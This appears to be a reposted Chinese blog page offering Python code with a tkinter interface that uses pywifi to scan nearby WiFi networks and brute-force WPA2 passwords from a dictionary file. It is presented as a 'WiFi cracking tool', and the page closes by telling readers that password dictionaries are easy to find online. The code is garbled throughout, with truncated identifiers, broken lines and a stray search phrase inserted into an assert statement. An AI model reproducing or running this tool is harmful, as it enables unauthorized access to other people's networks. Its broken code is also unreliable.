python3密码字典匹配wifi密码,有界⾯界⾯:
需要先安装⼀下pywifi模块
代码:
# coding:utf-8
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
ssagebox
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
# 密码⽂件路径
<_value = StringVar()
# 获取破解wifi账号
<_wifi_value = StringVar()
# 获取wifi密码
<_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi() # 抓取⽹卡接⼝
self.iface = self.wifi.interfaces()[0] # 抓取第⼀个⽆线⽹卡
self.iface.disconnect() # 测试链接断开所有链接
time.sleep(1) # 休眠1秒
# 测试⽹卡是否属于断开状态
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
# 设置窗⼝
def set_init_window(self):
self.init_window_name.title("WIFI破解⼯具")
self.init_ry('+500+200')
labelframe = LabelFrame(width=400, height=200, text="配置")
self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
self.pojie = Button(labelframe, text="开始破解", adPassWord).grid(column=1, row=0)
self.label = Label(labelframe, text="⽬录路径:").grid(column=0, row=1)
self.path = Entry(labelframe, width=12, _value).grid(column=1, row=1)
self.file = Button(labelframe, text="添加密码⽂件⽬录", command=self.add_mm_file).grid(column=2, row=1)
self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
self.wifi_input = Entry(labelframe, width=12, _wifi_value).grid(column=1, row=2)
self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
self.wifi_mm_input = Entry(labelframe, width=10, _wifimm_value).grid(column=3, row=2,sticky=W) self.wifi_labelframe = LabelFrame(text="wifi列表")
self.id(column=0, row=3, columnspan=4, sticky=NSEW)
# 定义树形结构与滚动条
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.figure(yscrollcommand=self.vbar.set)
# 表格的标题
self.lumn("a", width=50, anchor="center")
self.lumn("b", width=100, anchor="center")
self.lumn("c", width=100, anchor="center")
self.lumn("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.id(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("<Double-1>", DBClick)
id(row=4, column=1, sticky=NS)
# 搜索wifi
# cmd /k C:\ "$(FULL_CURRENT_PATH)" & PAUSE & EXIT
def scans_wifi_list(self): # 扫描周围wifi列表
# 开始扫描
print("^_^ 开始扫描附近")
self.iface.scan()
time.sleep(15)
# 在若⼲秒后获取扫描结果
scanres = self.iface.scan_results()
# 统计附近被发现的热点数量
nums = len(scanres)
print("数量: %s" % (nums))
# print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))
# 实际数据
self.show_scans_wifi_list(scanres)
return scanres
# 显⽰wifi列表
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
# print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
# print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
# 添加密码⽂件⽬录
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
<_value.set(self.filename)
# Treeview绑定事件
def onDBClick(self, event):
self.sels = event.widget.selection()
<_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
# print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])
# 读取密码字典,进⾏匹配
def readPassWord(self):
# print("⽂件路径:%s\n" %(FilePath))
<_wifissid = _()
# print("ssid:%s\n" %(_wifissid))
self.pwdfilehander = FilePath, "r", errors="ignore")
while True:
try:
self.pwdStr = adline()
# print("密码: %s " %(self.pwdStr))
if not self.pwdStr:
break
self.bool1 = t(self.pwdStr, _wifissid)
# print("返回值:%s\n" %(self.bool1) )
if self.bool1:
# print("密码正确:"+pwdStr
# res = "密码:%s 正确 \n"%self.pwdStr;
s)
break
else:
# print("密码:"+self.pwdStr+"错误")
s)
sleep(3)
except:
continue
# 对wifi和密码进⾏匹配
def connect(self, pwd_Str, wifi_ssid):
# 创建wifi链接⽂件
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid # wifi名称
self.profile.auth = const.AUTH_ALG_OPEN # ⽹卡的开放
self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
self.profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
self.profile.key = pwd_Str # 密码
ve_all_network_profiles() # 删除所有的wifi⽂件
p_profile) # 链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上
isOK = True
else:
isOK = False
self.iface.disconnect() # 断开
time.sleep(1)
# 检查断开状态
assert self.iface.status() in \怎么破解wifi密码
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
print(ui)
ui.set_init_window()
# ui.scans_wifi_list()
init_window.mainloop()
gui_start()
密码字典⽹上有很多,可以⼀下~
转载⾃:
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论